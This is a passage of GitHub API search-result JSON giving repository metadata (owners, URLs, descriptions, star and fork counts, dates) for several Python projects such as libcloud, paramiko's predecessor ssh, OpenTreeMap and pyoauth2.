","pushed_at":"2012-12-25T19:47:57Z","git_url":"git://github.com/logsol/Github-Auto-Deploy.git","ssh_url":"git@github.com:logsol/Github-Auto-Deploy.git","clone_url":"https://github.com/logsol/Github-Auto-Deploy.git","svn_url":"https://github.com/logsol/Github-Auto-Deploy","homepage":"http://logsol.github.com/Github-Auto-Deploy/","size":366,"stargazers_count":159,"watchers_count":159,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":70,"mirror_url":null,"open_issues_count":7,"forks":70,"open_issues":7,"watchers":159,"default_branch":"master","master_branch":"master","score":25.510773},{"id":258426,"name":"libcloud","full_name":"cloudkick/libcloud","owner":{"login":"cloudkick","id":107520,"avatar_url":"https://avatars.githubusercontent.com/u/107520","gravatar_id":"342d355de37f2c73c86bd1bdb8975d59","url":"https://api.github.com/users/cloudkick","html_url":"https://github.com/cloudkick","followers_url":"https://api.github.com/users/cloudkick/followers","following_url":"https://api.github.com/users/cloudkick/following{/other_user}","gists_url":"https://api.github.com/users/cloudkick/gists{/gist_id}","starred_url":"https://api.github.com/users/cloudkick/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/cloudkick/subscriptions","organizations_url":"https://api.github.com/users/cloudkick/orgs","repos_url":"https://api.github.com/users/cloudkick/repos","events_url":"https://api.github.com/users/cloudkick/events{/privacy}","received_events_url":"https://api.github.com/users/cloudkick/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/cloudkick/libcloud","description":"THIS IS THE WRONG GITHUB PROJECT. SEE https://github.com/apache/libcloud","fork":false,"url":"https://api.github.com/repos/cloudkick/libcloud","forks_url":"https://api.github.com/repos/cloudkick/libcloud/forks","keys_url":"https://api.github.com/repos/cloudkick/libcloud/keys{/key_id}","collaborators_url":"https://api.github.com/repos/cloudkick/libcloud/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/cloudkick/libcloud/teams","hooks_url":"https://api.github.com/repos/cloudkick/libcloud/hooks","issue_events_url":"https://api.github.com/repos/cloudkick/libcloud/issues/events{/number}","events_url":"https://api.github.com/repos/cloudkick/libcloud/events","assignees_url":"https://api.github.com/repos/cloudkick/libcloud/assignees{/user}","branches_url":"https://api.github.com/repos/cloudkick/libcloud/branches{/branch}","tags_url":"https://api.github.com/repos/cloudkick/libcloud/tags","blobs_url":"https://api.github.com/repos/cloudkick/libcloud/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/cloudkick/libcloud/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/cloudkick/libcloud/git/refs{/sha}","trees_url":"https://api.github.com/repos/cloudkick/libcloud/git/trees{/sha}","statuses_url":"https://api.github.com/repos/cloudkick/libcloud/statuses/{sha}","languages_url":"https://api.github.com/repos/cloudkick/libcloud/languages","stargazers_url":"https://api.github.com/repos/cloudkick/libcloud/stargazers","contributors_url":"https://api.github.com/repos/cloudkick/libcloud/contributors","subscribers_url":"https://api.github.com/repos/cloudkick/libcloud/subscribers","subscription_url":"https://api.github.com/repos/cloudkick/libcloud/subscription","commits_url":"https://api.github.com/repos/cloudkick/libcloud/commits{/sha}","git_commits_url":"https://api.github.com/repos/cloudkick/libcloud/git/commits{/sha}","comments_url":"https://api.github.com/repos/cloudkick/libcloud/comments{/number}","issue_comment_url":"https://api.github.com/repos/cloudkick/libcloud/issues/comments/{number}","contents_url":"https://api.github.com/repos/cloudkick/libcloud/contents/{+path}","compare_url":"https://api.github.com/repos/cloudkick/libcloud/compare/{base}...{head}","merges_url":"https://api.github.com/repos/cloudkick/libcloud/merges","archive_url":"https://api.github.com/repos/cloudkick/libcloud/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/cloudkick/libcloud/downloads","issues_url":"https://api.github.com/repos/cloudkick/libcloud/issues{/number}","pulls_url":"https://api.github.com/repos/cloudkick/libcloud/pulls{/number}","milestones_url":"https://api.github.com/repos/cloudkick/libcloud/milestones{/number}","notifications_url":"https://api.github.com/repos/cloudkick/libcloud/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/cloudkick/libcloud/labels{/name}","releases_url":"https://api.github.com/repos/cloudkick/libcloud/releases{/id}","created_at":"2009-07-23T04:48:39Z","updated_at":"2014-02-02T07:29:44Z","pushed_at":"2011-03-14T02:42:14Z","git_url":"git://github.com/cloudkick/libcloud.git","ssh_url":"git@github.com:cloudkick/libcloud.git","clone_url":"https://github.com/cloudkick/libcloud.git","svn_url":"https://github.com/cloudkick/libcloud","homepage":"https://github.com/apache/libcloud","size":1609,"stargazers_count":126,"watchers_count":126,"language":"Python","has_issues":false,"has_downloads":false,"has_wiki":false,"forks_count":13,"mirror_url":null,"open_issues_count":6,"forks":13,"open_issues":6,"watchers":126,"default_branch":"master","master_branch":"master","score":13.087221},{"id":2109462,"name":"github-badge","full_name":"berkerpeksag/github-badge","owner":{"login":"berkerpeksag","id":26338,"avatar_url":"https://avatars.githubusercontent.com/u/26338","gravatar_id":"df8e51d7618d5ed7ccbbc8dea9a9afee","url":"https://api.github.com/users/berkerpeksag","html_url":"https://github.com/berkerpeksag","followers_url":"https://api.github.com/users/berkerpeksag/followers","following_url":"https://api.github.com/users/berkerpeksag/following{/other_user}","gists_url":"https://api.github.com/users/berkerpeksag/gists{/gist_id}","starred_url":"https://api.github.com/users/berkerpeksag/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/berkerpeksag/subscriptions","organizations_url":"https://api.github.com/users/berkerpeksag/orgs","repos_url":"https://api.github.com/users/berkerpeksag/repos","events_url":"https://api.github.com/users/berkerpeksag/events{/privacy}","received_events_url":"https://api.github.com/users/berkerpeksag/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/berkerpeksag/github-badge","description":"GitHub Badge is a simple embeddable badge showing your GitHub stats like the number of public repositories, number of followers, favorite languages etc.","fork":false,"url":"https://api.github.com/repos/berkerpeksag/github-badge","forks_url":"https://api.github.com/repos/berkerpeksag/github-badge/forks","keys_url":"https://api.github.com/repos/berkerpeksag/github-badge/keys{/key_id}","collaborators_url":"https://api.github.com/repos/berkerpeksag/github-badge/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/berkerpeksag/github-badge/teams","hooks_url":"https://api.github.com/repos/berkerpeksag/github-badge/hooks","issue_events_url":"https://api.github.com/repos/berkerpeksag/github-badge/issues/events{/number}","events_url":"https://api.github.com/repos/berkerpeksag/github-badge/events","assignees_url":"https://api.github.com/repos/berkerpeksag/github-badge/assignees{/user}","branches_url":"https://api.github.com/repos/berkerpeksag/github-badge/branches{/branch}","tags_url":"https://api.github.com/repos/berkerpeksag/github-badge/tags","blobs_url":"https://api.github.com/repos/berkerpeksag/github-badge/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/berkerpeksag/github-badge/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/berkerpeksag/github-badge/git/refs{/sha}","trees_url":"https://api.github.com/repos/berkerpeksag/github-badge/git/trees{/sha}","statuses_url":"https://api.github.com/repos/berkerpeksag/github-badge/statuses/{sha}","languages_url":"https://api.github.com/repos/berkerpeksag/github-badge/languages","stargazers_url":"https://api.github.com/repos/berkerpeksag/github-badge/stargazers","contributors_url":"https://api.github.com/repos/berkerpeksag/github-badge/contributors","subscribers_url":"https://api.github.com/repos/berkerpeksag/github-badge/subscribers","subscription_url":"https://api.github.com/repos/berkerpeksag/github-badge/subscription","commits_url":"https://api.github.com/repos/berkerpeksag/github-badge/commits{/sha}","git_commits_url":"https://api.github.com/repos/berkerpeksag/github-badge/git/commits{/sha}","comments_url":"https://api.github.com/repos/berkerpeksag/github-badge/comments{/number}","issue_comment_url":"https://api.github.com/repos/berkerpeksag/github-badge/issues/comments/{number}","contents_url":"https://api.github.com/repos/berkerpeksag/github-badge/contents/{+path}","compare_url":"https://api.github.com/repos/berkerpeksag/github-badge/compare/{base}...{head}","merges_url":"https://api.github.com/repos/berkerpeksag/github-badge/merges","archive_url":"https://api.github.com/repos/berkerpeksag/github-badge/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/berkerpeksag/github-badge/downloads","issues_url":"https://api.github.com/repos/berkerpeksag/github-badge/issues{/number}","pulls_url":"https://api.github.com/repos/berkerpeksag/github-badge/pulls{/number}","milestones_url":"https://api.github.com/repos/berkerpeksag/github-badge/milestones{/number}","notifications_url":"https://api.github.com/repos/berkerpeksag/github-badge/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/berkerpeksag/github-badge/labels{/name}","releases_url":"https://api.github.com/repos/berkerpeksag/github-badge/releases{/id}","created_at":"2011-07-26T21:30:23Z","updated_at":"2014-01-13T12:31:22Z","pushed_at":"2014-01-09T02:40:56Z","git_url":"git://github.com/berkerpeksag/github-badge.git","ssh_url":"git@github.com:berkerpeksag/github-badge.git","clone_url":"https://github.com/berkerpeksag/github-badge.git","svn_url":"https://github.com/berkerpeksag/github-badge","homepage":"http://githubbadge.appspot.com/","size":895,"stargazers_count":135,"watchers_count":135,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":false,"forks_count":10,"mirror_url":null,"open_issues_count":8,"forks":10,"open_issues":8,"watchers":135,"default_branch":"master","master_branch":"master","score":17.625778},{"id":2629694,"name":"ssh","full_name":"bitprophet/ssh","owner":{"login":"bitprophet","id":6088,"avatar_url":"https://avatars.githubusercontent.com/u/6088","gravatar_id":"f1acc6318028fdba9874c77bc622a2fb","url":"https://api.github.com/users/bitprophet","html_url":"https://github.com/bitprophet","followers_url":"https://api.github.com/users/bitprophet/followers","following_url":"https://api.github.com/users/bitprophet/following{/other_user}","gists_url":"https://api.github.com/users/bitprophet/gists{/gist_id}","starred_url":"https://api.github.com/users/bitprophet/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bitprophet/subscriptions","organizations_url":"https://api.github.com/users/bitprophet/orgs","repos_url":"https://api.github.com/users/bitprophet/repos","events_url":"https://api.github.com/users/bitprophet/events{/privacy}","received_events_url":"https://api.github.com/users/bitprophet/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/bitprophet/ssh","description":"PLEASE file all new issues over at: https://github.com/paramiko/paramiko !","fork":false,"url":"https://api.github.com/repos/bitprophet/ssh","forks_url":"https://api.github.com/repos/bitprophet/ssh/forks","keys_url":"https://api.github.com/repos/bitprophet/ssh/keys{/key_id}","collaborators_url":"https://api.github.com/repos/bitprophet/ssh/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/bitprophet/ssh/teams","hooks_url":"https://api.github.com/repos/bitprophet/ssh/hooks","issue_events_url":"https://api.github.com/repos/bitprophet/ssh/issues/events{/number}","events_url":"https://api.github.com/repos/bitprophet/ssh/events","assignees_url":"https://api.github.com/repos/bitprophet/ssh/assignees{/user}","branches_url":"https://api.github.com/repos/bitprophet/ssh/branches{/branch}","tags_url":"https://api.github.com/repos/bitprophet/ssh/tags","blobs_url":"https://api.github.com/repos/bitprophet/ssh/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/bitprophet/ssh/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/bitprophet/ssh/git/refs{/sha}","trees_url":"https://api.github.com/repos/bitprophet/ssh/git/trees{/sha}","statuses_url":"https://api.github.com/repos/bitprophet/ssh/statuses/{sha}","languages_url":"https://api.github.com/repos/bitprophet/ssh/languages","stargazers_url":"https://api.github.com/repos/bitprophet/ssh/stargazers","contributors_url":"https://api.github.com/repos/bitprophet/ssh/contributors","subscribers_url":"https://api.github.com/repos/bitprophet/ssh/subscribers","subscription_url":"https://api.github.com/repos/bitprophet/ssh/subscription","commits_url":"https://api.github.com/repos/bitprophet/ssh/commits{/sha}","git_commits_url":"https://api.github.com/repos/bitprophet/ssh/git/commits{/sha}","comments_url":"https://api.github.com/repos/bitprophet/ssh/comments{/number}","issue_comment_url":"https://api.github.com/repos/bitprophet/ssh/issues/comments/{number}","contents_url":"https://api.github.com/repos/bitprophet/ssh/contents/{+path}","compare_url":"https://api.github.com/repos/bitprophet/ssh/compare/{base}...{head}","merges_url":"https://api.github.com/repos/bitprophet/ssh/merges","archive_url":"https://api.github.com/repos/bitprophet/ssh/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/bitprophet/ssh/downloads","issues_url":"https://api.github.com/repos/bitprophet/ssh/issues{/number}","pulls_url":"https://api.github.com/repos/bitprophet/ssh/pulls{/number}","milestones_url":"https://api.github.com/repos/bitprophet/ssh/milestones{/number}","notifications_url":"https://api.github.com/repos/bitprophet/ssh/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/bitprophet/ssh/labels{/name}","releases_url":"https://api.github.com/repos/bitprophet/ssh/releases{/id}","created_at":"2011-10-23T06:53:41Z","updated_at":"2014-01-10T06:53:46Z","pushed_at":"2012-10-06T17:06:38Z","git_url":"git://github.com/bitprophet/ssh.git","ssh_url":"git@github.com:bitprophet/ssh.git","clone_url":"https://github.com/bitprophet/ssh.git","svn_url":"https://github.com/bitprophet/ssh","homepage":"https://github.com/paramiko/paramiko","size":1797,"stargazers_count":122,"watchers_count":122,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":false,"forks_count":44,"mirror_url":null,"open_issues_count":16,"forks":44,"open_issues":16,"watchers":122,"default_branch":"master","master_branch":"master","score":10.844821},{"id":1861476,"name":"OpenTreeMap","full_name":"azavea/OpenTreeMap","owner":{"login":"azavea","id":595231,"avatar_url":"https://avatars.githubusercontent.com/u/595231","gravatar_id":"49884cb2080832e07241d7bdb6259820","url":"https://api.github.com/users/azavea","html_url":"https://github.com/azavea","followers_url":"https://api.github.com/users/azavea/followers","following_url":"https://api.github.com/users/azavea/following{/other_user}","gists_url":"https://api.github.com/users/azavea/gists{/gist_id}","starred_url":"https://api.github.com/users/azavea/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/azavea/subscriptions","organizations_url":"https://api.github.com/users/azavea/orgs","repos_url":"https://api.github.com/users/azavea/repos","events_url":"https://api.github.com/users/azavea/events{/privacy}","received_events_url":"https://api.github.com/users/azavea/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/azavea/OpenTreeMap","description":"OpenTreeMap is a wiki-inspired, web-based geographic tree inventory application that enables individuals, organizations, and governments to work together and collaboratively map the urban forest. OpenTreeMap is a project of Azavea and Urban Ecos. The code is currently being used to create PhillyTreeMap.org, UrbanForestMap.org, GreenprintMaps.org, SanDiegoTreeMap.org, the Grand Rapids Urban Forest Project tree map (treemap.urbanforestproject.com), Treezilla.org, and TampaTreeMap.org. The code to create an iOS app version of OpenTreeMap is available at https://github.com/azavea/OpenTreeMap-iOS. A default skin for the iOS app is available at https://github.com/azavea/OpenTreeMap-iOS-skin. Android code is available at https://github.com/azavea/OpenTreeMap-Android ","fork":false,"url":"https://api.github.com/repos/azavea/OpenTreeMap","forks_url":"https://api.github.com/repos/azavea/OpenTreeMap/forks","keys_url":"https://api.github.com/repos/azavea/OpenTreeMap/keys{/key_id}","collaborators_url":"https://api.github.com/repos/azavea/OpenTreeMap/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/azavea/OpenTreeMap/teams","hooks_url":"https://api.github.com/repos/azavea/OpenTreeMap/hooks","issue_events_url":"https://api.github.com/repos/azavea/OpenTreeMap/issues/events{/number}","events_url":"https://api.github.com/repos/azavea/OpenTreeMap/events","assignees_url":"https://api.github.com/repos/azavea/OpenTreeMap/assignees{/user}","branches_url":"https://api.github.com/repos/azavea/OpenTreeMap/branches{/branch}","tags_url":"https://api.github.com/repos/azavea/OpenTreeMap/tags","blobs_url":"https://api.github.com/repos/azavea/OpenTreeMap/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/azavea/OpenTreeMap/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/azavea/OpenTreeMap/git/refs{/sha}","trees_url":"https://api.github.com/repos/azavea/OpenTreeMap/git/trees{/sha}","statuses_url":"https://api.github.com/repos/azavea/OpenTreeMap/statuses/{sha}","languages_url":"https://api.github.com/repos/azavea/OpenTreeMap/languages","stargazers_url":"https://api.github.com/repos/azavea/OpenTreeMap/stargazers","contributors_url":"https://api.github.com/repos/azavea/OpenTreeMap/contributors","subscribers_url":"https://api.github.com/repos/azavea/OpenTreeMap/subscribers","subscription_url":"https://api.github.com/repos/azavea/OpenTreeMap/subscription","commits_url":"https://api.github.com/repos/azavea/OpenTreeMap/commits{/sha}","git_commits_url":"https://api.github.com/repos/azavea/OpenTreeMap/git/commits{/sha}","comments_url":"https://api.github.com/repos/azavea/OpenTreeMap/comments{/number}","issue_comment_url":"https://api.github.com/repos/azavea/OpenTreeMap/issues/comments/{number}","contents_url":"https://api.github.com/repos/azavea/OpenTreeMap/contents/{+path}","compare_url":"https://api.github.com/repos/azavea/OpenTreeMap/compare/{base}...{head}","merges_url":"https://api.github.com/repos/azavea/OpenTreeMap/merges","archive_url":"https://api.github.com/repos/azavea/OpenTreeMap/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/azavea/OpenTreeMap/downloads","issues_url":"https://api.github.com/repos/azavea/OpenTreeMap/issues{/number}","pulls_url":"https://api.github.com/repos/azavea/OpenTreeMap/pulls{/number}","milestones_url":"https://api.github.com/repos/azavea/OpenTreeMap/milestones{/number}","notifications_url":"https://api.github.com/repos/azavea/OpenTreeMap/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/azavea/OpenTreeMap/labels{/name}","releases_url":"https://api.github.com/repos/azavea/OpenTreeMap/releases{/id}","created_at":"2011-06-07T18:57:58Z","updated_at":"2014-02-10T17:14:06Z","pushed_at":"2014-02-10T17:14:06Z","git_url":"git://github.com/azavea/OpenTreeMap.git","ssh_url":"git@github.com:azavea/OpenTreeMap.git","clone_url":"https://github.com/azavea/OpenTreeMap.git","svn_url":"https://github.com/azavea/OpenTreeMap","homepage":"http://www.azavea.com/opentreemap/","size":16573,"stargazers_count":118,"watchers_count":118,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":58,"mirror_url":null,"open_issues_count":22,"forks":58,"open_issues":22,"watchers":118,"default_branch":"v1.3","master_branch":"v1.3","score":7.4777703},{"id":5690595,"name":"leeroy","full_name":"litl/leeroy","owner":{"login":"litl","id":190361,"avatar_url":"https://avatars.githubusercontent.com/u/190361","gravatar_id":"2544baae90780aa558a2dedc84817cab","url":"https://api.github.com/users/litl","html_url":"https://github.com/litl","followers_url":"https://api.github.com/users/litl/followers","following_url":"https://api.github.com/users/litl/following{/other_user}","gists_url":"https://api.github.com/users/litl/gists{/gist_id}","starred_url":"https://api.github.com/users/litl/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/litl/subscriptions","organizations_url":"https://api.github.com/users/litl/orgs","repos_url":"https://api.github.com/users/litl/repos","events_url":"https://api.github.com/users/litl/events{/privacy}","received_events_url":"https://api.github.com/users/litl/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/litl/leeroy","description":"Jenkins integration with GitHub pull requests","fork":false,"url":"https://api.github.com/repos/litl/leeroy","forks_url":"https://api.github.com/repos/litl/leeroy/forks","keys_url":"https://api.github.com/repos/litl/leeroy/keys{/key_id}","collaborators_url":"https://api.github.com/repos/litl/leeroy/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/litl/leeroy/teams","hooks_url":"https://api.github.com/repos/litl/leeroy/hooks","issue_events_url":"https://api.github.com/repos/litl/leeroy/issues/events{/number}","events_url":"https://api.github.com/repos/litl/leeroy/events","assignees_url":"https://api.github.com/repos/litl/leeroy/assignees{/user}","branches_url":"https://api.github.com/repos/litl/leeroy/branches{/branch}","tags_url":"https://api.github.com/repos/litl/leeroy/tags","blobs_url":"https://api.github.com/repos/litl/leeroy/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/litl/leeroy/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/litl/leeroy/git/refs{/sha}","trees_url":"https://api.github.com/repos/litl/leeroy/git/trees{/sha}","statuses_url":"https://api.github.com/repos/litl/leeroy/statuses/{sha}","languages_url":"https://api.github.com/repos/litl/leeroy/languages","stargazers_url":"https://api.github.com/repos/litl/leeroy/stargazers","contributors_url":"https://api.github.com/repos/litl/leeroy/contributors","subscribers_url":"https://api.github.com/repos/litl/leeroy/subscribers","subscription_url":"https://api.github.com/repos/litl/leeroy/subscription","commits_url":"https://api.github.com/repos/litl/leeroy/commits{/sha}","git_commits_url":"https://api.github.com/repos/litl/leeroy/git/commits{/sha}","comments_url":"https://api.github.com/repos/litl/leeroy/comments{/number}","issue_comment_url":"https://api.github.com/repos/litl/leeroy/issues/comments/{number}","contents_url":"https://api.github.com/repos/litl/leeroy/contents/{+path}","compare_url":"https://api.github.com/repos/litl/leeroy/compare/{base}...{head}","merges_url":"https://api.github.com/repos/litl/leeroy/merges","archive_url":"https://api.github.com/repos/litl/leeroy/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/litl/leeroy/downloads","issues_url":"https://api.github.com/repos/litl/leeroy/issues{/number}","pulls_url":"https://api.github.com/repos/litl/leeroy/pulls{/number}","milestones_url":"https://api.github.com/repos/litl/leeroy/milestones{/number}","notifications_url":"https://api.github.com/repos/litl/leeroy/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/litl/leeroy/labels{/name}","releases_url":"https://api.github.com/repos/litl/leeroy/releases{/id}","created_at":"2012-09-05T17:19:00Z","updated_at":"2014-02-25T17:39:20Z","pushed_at":"2014-02-25T17:39:20Z","git_url":"git://github.com/litl/leeroy.git","ssh_url":"git@github.com:litl/leeroy.git","clone_url":"https://github.com/litl/leeroy.git","svn_url":"https://github.com/litl/leeroy","homepage":null,"size":279,"stargazers_count":109,"watchers_count":109,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":22,"mirror_url":null,"open_issues_count":7,"forks":22,"open_issues":7,"watchers":109,"default_branch":"master","master_branch":"master","score":12.909185},{"id":2068621,"name":"pylogsparser","full_name":"wallix/pylogsparser","owner":{"login":"wallix","id":264401,"avatar_url":"https://avatars.githubusercontent.com/u/264401","gravatar_id":"bdde72080a52a0ed24c2c18c4ebd7d60","url":"https://api.github.com/users/wallix","html_url":"https://github.com/wallix","followers_url":"https://api.github.com/users/wallix/followers","following_url":"https://api.github.com/users/wallix/following{/other_user}","gists_url":"https://api.github.com/users/wallix/gists{/gist_id}","starred_url":"https://api.github.com/users/wallix/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wallix/subscriptions","organizations_url":"https://api.github.com/users/wallix/orgs","repos_url":"https://api.github.com/users/wallix/repos","events_url":"https://api.github.com/users/wallix/events{/privacy}","received_events_url":"https://api.github.com/users/wallix/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/wallix/pylogsparser","description":"Library for Log parsing in Python - get the documentation at http://wallix.github.com/pylogsparser/","fork":false,"url":"https://api.github.com/repos/wallix/pylogsparser","forks_url":"https://api.github.com/repos/wallix/pylogsparser/forks","keys_url":"https://api.github.com/repos/wallix/pylogsparser/keys{/key_id}","collaborators_url":"https://api.github.com/repos/wallix/pylogsparser/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/wallix/pylogsparser/teams","hooks_url":"https://api.github.com/repos/wallix/pylogsparser/hooks","issue_events_url":"https://api.github.com/repos/wallix/pylogsparser/issues/events{/number}","events_url":"https://api.github.com/repos/wallix/pylogsparser/events","assignees_url":"https://api.github.com/repos/wallix/pylogsparser/assignees{/user}","branches_url":"https://api.github.com/repos/wallix/pylogsparser/branches{/branch}","tags_url":"https://api.github.com/repos/wallix/pylogsparser/tags","blobs_url":"https://api.github.com/repos/wallix/pylogsparser/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/wallix/pylogsparser/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/wallix/pylogsparser/git/refs{/sha}","trees_url":"https://api.github.com/repos/wallix/pylogsparser/git/trees{/sha}","statuses_url":"https://api.github.com/repos/wallix/pylogsparser/statuses/{sha}","languages_url":"https://api.github.com/repos/wallix/pylogsparser/languages","stargazers_url":"https://api.github.com/repos/wallix/pylogsparser/stargazers","contributors_url":"https://api.github.com/repos/wallix/pylogsparser/contributors","subscribers_url":"https://api.github.com/repos/wallix/pylogsparser/subscribers","subscription_url":"https://api.github.com/repos/wallix/pylogsparser/subscription","commits_url":"https://api.github.com/repos/wallix/pylogsparser/commits{/sha}","git_commits_url":"https://api.github.com/repos/wallix/pylogsparser/git/commits{/sha}","comments_url":"https://api.github.com/repos/wallix/pylogsparser/comments{/number}","issue_comment_url":"https://api.github.com/repos/wallix/pylogsparser/issues/comments/{number}","contents_url":"https://api.github.com/repos/wallix/pylogsparser/contents/{+path}","compare_url":"https://api.github.com/repos/wallix/pylogsparser/compare/{base}...{head}","merges_url":"https://api.github.com/repos/wallix/pylogsparser/merges","archive_url":"https://api.github.com/repos/wallix/pylogsparser/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/wallix/pylogsparser/downloads","issues_url":"https://api.github.com/repos/wallix/pylogsparser/issues{/number}","pulls_url":"https://api.github.com/repos/wallix/pylogsparser/pulls{/number}","milestones_url":"https://api.github.com/repos/wallix/pylogsparser/milestones{/number}","notifications_url":"https://api.github.com/repos/wallix/pylogsparser/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/wallix/pylogsparser/labels{/name}","releases_url":"https://api.github.com/repos/wallix/pylogsparser/releases{/id}","created_at":"2011-07-18T20:29:40Z","updated_at":"2014-01-16T08:42:29Z","pushed_at":"2013-11-06T11:15:06Z","git_url":"git://github.com/wallix/pylogsparser.git","ssh_url":"git@github.com:wallix/pylogsparser.git","clone_url":"https://github.com/wallix/pylogsparser.git","svn_url":"https://github.com/wallix/pylogsparser","homepage":"http://www.wallix.org/pylogsparser-project/","size":978,"stargazers_count":102,"watchers_count":102,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":14,"mirror_url":null,"open_issues_count":2,"forks":14,"open_issues":2,"watchers":102,"default_branch":"master","master_branch":"master","score":7.27245},{"id":5620853,"name":"pyoauth2","full_name":"StartTheShift/pyoauth2","owner":{"login":"StartTheShift","id":685075,"avatar_url":"https://avatars.githubusercontent.com/u/685075","gravatar_id":"b948d51748c15d049f20b12172ac1e01","url":"https://api.github.com/users/StartTheShift","html_url":"https://github.com/StartTheShift","followers_url":"https://api.github.com/users/StartTheShift/followers","following_url":"https://api.github.com/users/StartTheShift/following{/other_user}","gists_url":"https://api.github.com/users/StartTheShift/gists{/gist_id}","starred_url":"https://api.github.com/users/StartTheShift/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/StartTheShift/subscriptions","organizations_url":"https://api.github.com/users/StartTheShift/orgs","repos_url":"https://api.github.com/users/StartTheShift/repos","events_url":"https://api.github.com/users/StartTheShift/events{/privacy}","received_events_url":"https://api.github.com/users/StartTheShift/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/StartTheShift/pyoauth2","description":"OAuth 2.0 Library - WE ARE NO LONGER MAINTAINING THIS LIBRARY, PLEASE SEE this fork: https://github.com/NateFerrero/pyoauth2","fork":false,"url":"https://api.github.com/repos/StartTheShift/pyoauth2","forks_url":"https://api.github.com/repos/StartTheShift/pyoauth2/forks","keys_url":"https://api.github.com/repos/StartTheShift/pyoauth2/keys{/key_id}","collaborators_url":"https://api.github.com/repos/StartTheShift/pyoauth2/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/StartTheShift/pyoauth2/teams","hooks_url":"https://api.github.com/repos/StartTheShift/pyoauth2/hooks","issue_events_url":"https://api.github.com/repos/StartTheShift/pyoauth2/issues/events{/number}","events_url":"https://api.github.com/repos/StartTheShift/pyoauth2/events","assignees_url":"https://api.github.com/repos/StartTheShift/pyoauth2/assignees{/user}","branches_url":"https://api.github.com/repos/StartTheShift/pyoauth2/branches{/branch}","tags_url":"https://api.github.com/repos/StartTheShift/pyoauth2/tags","blobs_url":"https://api.github.com/repos/StartTheShift/pyoauth2/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/StartTheShift/pyoauth2/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/StartTheShift/pyoauth2/git/refs{/sha}","trees_url":"https://api.github.com/repos/StartTheShift/pyoauth2/git/trees{/sha}","statuses_url":"https://api.github.com/repos/StartTheShift/pyoauth2/statuses/{sha}","languages_url":"https://api.github.com/repos/StartTheShift/pyoauth2/languages","stargazers_url":"https://api.github.com/repos/StartTheShift/pyoauth2/stargazers","contributors_url":"https://api.github.com/repos/StartTheShift/pyoauth2/contributors","subscribers_url":"https://api.github.com/repos/StartTheShift/pyoauth2/subscribers","subscription_url":"https://api.github.com/repos/StartTheShift/pyoauth2/subscription","commits_url":"https://api.github.com/repos/StartTheShift/pyoauth2/commits{/sha}","git_commits_url":"https://api.github.com/repos/StartTheShift/pyoauth2/git/commits{/sha}","comments_url":"https://api.github.com/repos/StartTheShift/pyoauth2/comments{/number}","issue_comment_url":"https://api.github.com/repos/StartTheShift/pyoauth2/issues/comments/{number}","contents_url":"https://api.github.com/repos/StartTheShift/pyoauth2/contents/{+path}","compare_url":"https://api.github.com/repos/StartTheShift/pyoauth2/compare/{base}...{head}","merges_url":"https://api.github.com/repos/StartTheShift/pyoauth2/merges","archive_url":"https://api.github.com/repos/StartTheShift/pyoauth2/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/StartTheShift/pyoauth2/downloads","issues_url":"https://api.github.com/repos/StartTheShift/pyoauth2/issues{/number}","pulls_url":"https://api.github.com/repos/StartTheShift/pyoauth2/pulls{/number}","milestones_url":"https://api.github.com/repos/StartTheShift/pyoauth2/milestones{/number}","notifications_url":"https://api.github.com/repos/StartTheShift/pyoauth2/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/StartTheShift/pyoauth2/labels{/name}","releases_url":"https://api.github.com/repos/StartTheShift/pyoauth2/releases{/id}","created_at":"2012-08-30T20:59:58Z","updated_at":"2014-01-1